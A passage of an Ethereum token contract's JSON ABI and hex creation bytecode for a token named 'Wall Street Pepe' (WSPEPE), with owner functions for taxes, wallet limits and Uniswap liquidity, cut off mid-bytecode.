alue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketingWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setSellTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setdevWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526040518060400160405280601081526020017f57616c6c20537472656574205065706500000000000000000000000000000000815250600190816200004a919062000ec2565b506040518060400160405280600681526020017f57535045504500000000000000000000000000000000000000000000000000008152506002908162000091919062000ec2565b506009600360006101000a81548160ff021916908360ff16021790555073425aaed8adf65b4025a4745d85727c4c14d31b06600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073ecf652a78f3d5dbb6ba944c93c9a02c165a37148600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061dead73ffffffffffffffffffffffffffffffffffffffff1660809073ffffffffffffffffffffffffffffffffffffffff16815250600073ffffffffffffffffffffffffffffffffffffffff1660a09073ffffffffffffffffffffffffffffffffffffffff168152506000600c556000600d556000600e556000600f55600060105560006011556064601255600360009054906101000a900460ff16600a62000202919062001139565b633b9aca006200021391906200118a565b6015556200024e6103e86200023a600160155462000a7760201b62002ee01790919060201c565b62000afa60201b62002f5a1790919060201c565b601655620002896103e862000275601e60155462000a7760201b62002ee01790919060201c565b62000afa60201b62002f5a1790919060201c565b601755620002c46103e8620002b0601e60155462000a7760201b62002ee01790919060201c565b62000afa60201b62002f5a1790919060201c565b6018556001601a60156101000a81548160ff0219169083151502179055506000601a60166101000a81548160ff0219169083151502179055506001601a60176101000a81548160ff0219169083151502179055506001601a60186101000a81548160ff0219169083151502179055506000601a60196101000a81548160ff0219169083151502179055503480156200035b57600080fd5b5060006200036e62000b4c60201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506200044560115462000431601054600f5462000b5460201b62002fa41790919060201c565b62000b5460201b62002fa41790919060201c565b60138190555062000484600e5462000470600d54600c5462000b5460201b62002fa41790919060201c565b62000b5460201b62002fa41790919060201c565b6014819055506001600a6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60006200051a62000bb760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860006200065362000bb760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160086000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000620008d862000bb760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060155460066000620009ba62000b4c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555062000a0862000b4c60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60155460405162000a699190620011e6565b60405180910390a362001462565b600080830362000a8b576000905062000af4565b6000828462000a9b91906200118a565b905082848262000aac919062001232565b1462000aef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ae690620012f1565b60405180910390fd5b809150505b92915050565b600062000b4483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525062000be060201b60201c565b905092915050565b600033905090565b600080828462000b65919062001313565b90508381101562000bad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ba4906200139e565b60405180910390fd5b8091505092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000808311829062000c2a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000c2191906200143e565b60405180910390fd5b506000838562000c3b919062001232565b9050809150509392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000cca57607f821691505b60208210810362000ce05762000cdf62000c82565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000d4a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000d0b565b62000d56868362000d0b565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000da362000d9d62000d978462000d6e565b62000d78565b62000d6e565b9050919050565b6000819050919050565b62000dbf8362000d82565b62000dd762000dce8262000daa565b84845462000d18565b825550505050565b600090565b62000dee62000ddf565b62000dfb81848462000db4565b505050565b5b8181101562000e235762000e1760008262000de4565b60018101905062000e01565b5050565b601f82111562000e725762000e3c8162000ce6565b62000e478462000cfb565b8101602085101562000e57578190505b62000e6f62000e668562000cfb565b83018262000e00565b50505b505050565b600082821c905092915050565b600062000e976000198460080262000e77565b1980831691505092915050565b600062000eb2838362000e84565b9150826002028217905092915050565b62000ecd8262000c48565b67ffffffffffffffff81111562000ee95762000ee862000c53565b5b62000ef5825462000cb1565b62000f0282828562000e27565b600060209050601f83116001811462000f3a576000841562000f25578287015190505b62000f31858262000ea4565b86555062000fa1565b601f19841662000f4a8662000ce6565b60005b8281101562000f745784890151825560018201915060208501945060208101905062000f4d565b8683101562000f94578489015162000f90601f89168262000e84565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562001037578086048111156200100f576200100e62000fa9565b5b60018516156200101f5780820291505b80810290506200102f8562000fd8565b945062000fef565b94509492505050565b60008262001052576001905062001125565b8162001062576000905062001125565b81600181146200107b57600281146200108657620010bc565b600191505062001125565b60ff8411156200109b576200109a62000fa9565b5b8360020a915084821115620010b557620010b462000fa9565b5b5062001125565b5060208310610133831016604e8410600b8410161715620010f65782820a905083811115620010f057620010ef62000fa9565b5b62001125565b62001105848484600162000fe5565b925090508184048111156200111f576200111e62000fa9565b5b81810290505b9392505050565b600060ff82169050919050565b6000620011468262000d6e565b915062001153836200112c565b9250620011827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462001040565b905092915050565b6000620011978262000d6e565b9150620011a48362000d6e565b9250828202620011b48162000d6e565b91508282048414831517620011ce57620011cd62000fa9565b5b5092915050565b620011e08162000d6e565b82525050565b6000602082019050620011fd6000830184620011d5565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006200123f8262000d6e565b91506200124c8362000d6e565b9250826200125f576200125e62001203565b5b828204905092915050565b600082825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000620012d96021836200126a565b9150620012e6826200127b565b604082019050919050565b600060208201905081810360008301526200130c81620012ca565b9050919050565b6000620013208262000d6e565b91506200132d8362000d6e565b925082820190508082111562001348576200134762000fa9565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062001386601b836200126a565b915062001393826200134e565b602082019050919050565b60006020820190508181036000830152620013b98162001377565b9050919050565b60005b83811015620013e0578082015181840152602081019050620013c3565b60008484015250505050565b6000601f19601f8301169050919050565b60006200140a8262000c48565b6200141681856200126a565b935062001428818560208601620013c0565b6200143381620013ec565b840191505092915050565b600060208201905081810360008301526200145a8184620013fd565b905092915050565b60805160a0516156346200149660003960008181610fff01526113a001526000818161137401526113cc01526156346000f3fe6080604052600436106103a65760003560e01c8063844d591c116101e7578063ccbe3c5b1161010d578063ef422a18116100a0578063f680f7991161006f578063f680f79914610d7c578063f84ba65d14610da7578063f872858a14610dd0578063fb45af2314610dfb576103ad565b8063ef422a1814610cd6578063f0cd1dac14610cff578063f1d5f51714610d2a578063f2fde38b14610d53576103ad565b8063dd62ed3e116100dc578063dd62ed3e14610c1e578063e5c5369314610c5b578063ec28438a14610c84578063ee828db314610cad576103ad565b8063ccbe3c5b14610b72578063d2d7ad8314610b9d578063da00097d14610bc8578063dc44b6a014610bf3576103ad565b8063a457c2d711610185578063c5d2418911610154578063c5d2418914610ac8578063c816841b14610af3578063c860795214610b1e578063c9c9afc514610b49576103ad565b8063a457c2d7146109fc578063a5d69d1f14610a39578063a9059cbb14610a62578063c49b9a8014610a9f576103ad565b80638b42507f116101c15780638b42507f1461093e5780638da5cb5b1461097b57806395d89b41146109a657806398e944c8146109d1576103ad565b8063844d591c146108bf57806385261485146108e857806388790a6814610913576103ad565b80634974d88f116102cc5780636ddd17131161026a5780637d1db4a5116102395780637d1db4a514610801578063807c2d9c1461082c57806382eefb4314610857578063844783b714610882576103ad565b80636ddd17131461076b57806370a0823114610796578063715018a6146107d3578063751039fc146107ea576103ad565b806351cd7cc3116102a657806351cd7cc3146106e257806367fd3c4a146106f95780636bd74ecf146107365780636c208a5314610761576103ad565b80634974d88f146106655780634cb80fd51461068e5780635194f9bf146106b7576103ad565b80632198cf6c116103445780632b112e49116103135780632b112e49146105a9578063313ce567146105d457806339509351146105ff5780633b97084a1461063c576103ad565b80632198cf6c146104ed57806323555d571461051657806323b872dd1461054157806327c8f8351461057e576103ad565b8063095ea7b311610380578063095ea7b3146104315780631694505e1461046e57806318160ddd146104995780631870517a146104c4576103ad565b806306fdde03146103b257806308733214146103dd5780630930907b14610406576103ad565b366103ad57005b600080fd5b3480156103be57600080fd5b506103c7610e38565b6040516103d4919061435b565b60405180910390f35b3480156103e957600080fd5b5061040460048036038101906103ff91906143b8565b610eca565b005b34801561041257600080fd5b5061041b610ffd565b604051610428919061444c565b60405180910390f35b34801561043d57600080fd5b5061045860048036038101906104539190614493565b611021565b60405161046591906144ee565b60405180910390f35b34801561047a57600080fd5b5061048361103f565b6040516104909190614568565b60405180910390f35b3480156104a557600080fd5b506104ae611065565b6040516104bb9190614592565b60405180910390f35b3480156104d057600080fd5b506104eb60048036038101906104e691906143b8565b61106f565b005b3480156104f957600080fd5b50610514600480360381019061050f91906145d9565b6111a2565b005b34801561052257600080fd5b5061052b611292565b6040516105389190614592565b60405180910390f35b34801561054d57600080fd5b5061056860048036038101906105639190614619565b611298565b60405161057591906144ee565b60405180910390f35b34801561058a57600080fd5b50610593611372565b6040516105a0919061444c565b60405180910390f35b3480156105b557600080fd5b506105be611396565b6040516105cb9190614592565b60405180910390f35b3480156105e057600080fd5b506105e9611414565b6040516105f69190614688565b60405180910390f35b34801561060b57600080fd5b5061062660048036038101906106219190614493565b61142b565b60405161063391906144ee565b60405180910390f35b34801561064857600080fd5b50610663600480360381019061065e91906146a3565b6114de565b005b34801561067157600080fd5b5061068c600480360381019061068791906146d0565b611655565b005b34801561069a57600080fd5b506106b560048036038101906106b091906146fd565b611707565b005b3480156106c357600080fd5b506106cc61184f565b6040516106d99190614592565b60405180910390f35b3480156106ee57600080fd5b506106f7611855565b005b34801561070557600080fd5b50610720600480360381019061071b91906146fd565b611907565b60405161072d91906144ee565b60405180910390f35b34801561074257600080fd5b5061074b611927565b604051610758919061474b565b60405180910390f35b61076961194d565b005b34801561077757600080fd5b50610780611e68565b60405161078d91906144ee565b60405180910390f35b3480156107a257600080fd5b506107bd60048036038101906107b891906146fd565b611e7b565b6040516107ca9190614592565b60405180910390f35b3480156107df57600080fd5b506107e8611ec4565b005b3480156107f657600080fd5b506107ff612019565b005b34801561080d57600080fd5b506108166120c2565b6040516108239190614592565b60405180910390f35b34801561083857600080fd5b506108416120c8565b60405161084e9190614592565b60405180910390f35b34801561086357600080fd5b5061086c6120ce565b6040516108799190614592565b60405180910390f35b34801561088e57600080fd5b506108a960048036038101906108a491906146fd565b6120d4565b6040516108b691906144ee565b60405180910390f35b3480156108cb57600080fd5b506108e660048036038101906108e191906145d9565b6120f4565b005b3480156108f457600080fd5b506108fd6121e4565b60405161090a91906144ee565b60405180910390f35b34801561091f57600080fd5b506109286121f7565b6040516109359190614592565b60405180910390f35b34801561094a57600080fd5b50610965600480360381019061096091906146fd565b6121fd565b60405161097291906144ee565b60405180910390f35b34801561098757600080fd5b5061099061221d565b60405161099d919061444c565b60405180910390f35b3480156109b257600080fd5b506109bb612246565b6040516109c8919061435b565b60405180910390f35b3480156109dd57600080fd5b506109e66122d8565b6040516109f3919061444c565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614493565b6122fe565b604051610a3091906144ee565b60405180910390f35b348015610a4557600080fd5b50610a606004803603810190610a5b91906146d0565b6123cb565b005b348015610a6e57600080fd5b50610a896004803603810190610a849190614493565b61247d565b604051610a9691906144ee565b60405180910390f35b348015610aab57600080fd5b50610ac66004803603810190610ac191906146d0565b61249c565b005b348015610ad457600080fd5b50610add612585565b604051610aea9190614592565b60405180910390f35b348015610aff57600080fd5b50610b0861258b565b604051610b15919061444c565b60405180910390f35b348015610b2a57600080fd5b50610b336125b1565b604051610b409190614592565b60405180910390f35b348015610b5557600080fd5b50610b706004803603810190610b6b91906146fd565b6125b7565b005b348015610b7e57600080fd5b50610b87612690565b604051610b94919061474b565b60405180910390f35b348015610ba957600080fd5b50610bb26126b6565b604051610bbf9190614592565b60405180910390f35b348015610bd457600080fd5b50610bdd6126bc565b604051610bea91906144ee565b60405180910390f35b348015610bff57600080fd5b50610c086126cf565b604051610c159190614592565b60405180910390f35b348015610c2a57600080fd5b50610c456004803603810190610c409190614766565b6126d5565b604051610c529190614592565b60405180910390f35b348015610c6757600080fd5b50610c826004803603810190610c7d91906146fd565b61275c565b005b348015610c9057600080fd5b50610cab6004803603810190610ca691906146a3565b6128a4565b005b348015610cb957600080fd5b50610cd46004803603810190610ccf91906146d0565b6129af565b005b348015610ce257600080fd5b50610cfd6004803603810190610cf891906145d9565b612a61565b005b348015610d0b57600080fd5b50610d14612b51565b604051610d219190614592565b60405180910390f35b348015610d3657600080fd5b50610d516004803603810190610d4c91906146a3565b612b57565b005b348015610d5f57600080fd5b50610d7a6004803603810190610d7591906146fd565b612bf6565b005b348015610d8857600080fd5b50610d91612db7565b604051610d9e9190614592565b60405180910390f35b348015610db357600080fd5b50610dce6004803603810190610dc991906145d9565b612dbd565b005b348015610ddc57600080fd5b50610de5612ead565b604051610df291906144ee565b60405180910390f35b348015610e0757600080fd5b50610e226004803603810190610e1d91906146fd565b612ec0565b604051610e2f91906144ee565b60405180910390f35b606060018054610e47906147d5565b80601f0160208091040260200160405190810160405280929190818152602001828054610e73906147d5565b8015610ec05780601f10610e9557610100808354040283529160200191610ec0565b820191906000526020600020905b815481529060010190602001808311610ea357829003601f168201915b5050505050905090565b610ed2613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f5f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5690614852565b60405180910390fd5b82600c8190555081600d8190555080600e81905550610f9f600e54610f91600d54600c54612fa490919063ffffffff16565b612fa490919063ffffffff16565b6014819055506014601254610fb491906148d0565b6014541115610ff8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fef9061494d565b60405180910390fd5b505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061103561102e613002565b848461300a565b6001905092915050565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601554905090565b611077613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611104576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fb90614852565b60405180910390fd5b82600f819055508160108190555080601181905550611144601154611136601054600f54612fa490919063ffffffff16565b612fa490919063ffffffff16565b601381905550601460125461115991906148d0565b601354111561119d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611194906149b9565b60405180910390fd5b505050565b6111aa613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611237576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122e90614852565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60115481565b60006112a58484846131d3565b50611367846112b2613002565b611362856040518060600160405280602881526020016155b260289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000611318613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b61300a565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b600061140f6113c47f0000000000000000000000000000000000000000000000000000000000000000611e7b565b6114016113f07f0000000000000000000000000000000000000000000000000000000000000000611e7b565b60155461395f90919063ffffffff16565b61395f90919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60006114d4611438613002565b846114cf8560076000611449613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa490919063ffffffff16565b61300a565b6001905092915050565b6114e6613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611573576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156a90614852565b60405180910390fd5b61159e620186a06115906001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b8110156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d790614a4b565b60405180910390fd5b61160960646115fb6001601554612ee090919063ffffffff16565b612f5a90919063ffffffff16565b81111561164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290614add565b60405180910390fd5b8060168190555050565b61165d613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116e190614852565b60405180910390fd5b80601a60176101000a81548160ff02191690831515021790555050565b61170f613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461179c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179390614852565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361180b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180290614b6f565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61185d613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146118ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e190614852565b60405180910390fd5b6001601a60196101000a81548160ff021916908315150217905550565b60086020528060005260406000206000915054906101000a900460ff1681565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611955613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119e2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119d990614852565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a46573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a6a9190614ba4565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ad1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611af59190614ba4565b6040518363ffffffff1660e01b8152600401611b12929190614bd1565b6020604051808303816000875af1158015611b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b559190614ba4565b601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600019600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160096000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600a6000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555033600360016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430611df930611e7b565b60008033426040518863ffffffff1660e01b8152600401611e1f96959493929190614c35565b60606040518083038185885af1158015611e3d573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611e629190614cab565b50505050565b601a60159054906101000a900460ff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611ecc613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f59576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5090614852565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a361dead6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b612021613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120a590614852565b60405180910390fd5b601554601781905550601554601881905550565b60175481565b60185481565b60145481565b60096020528060005260406000206000915054906101000a900460ff1681565b6120fc613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218090614852565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601a60189054906101000a900460ff1681565b600c5481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060028054612255906147d5565b80601f0160208091040260200160405190810160405280929190818152602001828054612281906147d5565b80156122ce5780601f106122a3576101008083540402835291602001916122ce565b820191906000526020600020905b8154815290600101906020018083116122b157829003601f168201915b5050505050905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006123c161230b613002565b846123bc856040518060600160405280602581526020016155da6025913960076000612335613002565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138fb9092919063ffffffff16565b61300a565b6001905092915050565b6123d3613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612460576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161245790614852565b60405180910390fd5b80601a60166101000a81548160ff02191690831515021790555050565b600061249161248a613002565b84846131d3565b506001905092915050565b6124a4613002565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252890614852565b60405180910390fd5b80601a60156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc1598160405161257a91906144ee565b60405180910390a150565b60105481565b601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d5481565b6125bf613002565b73ffffffffffffffffffff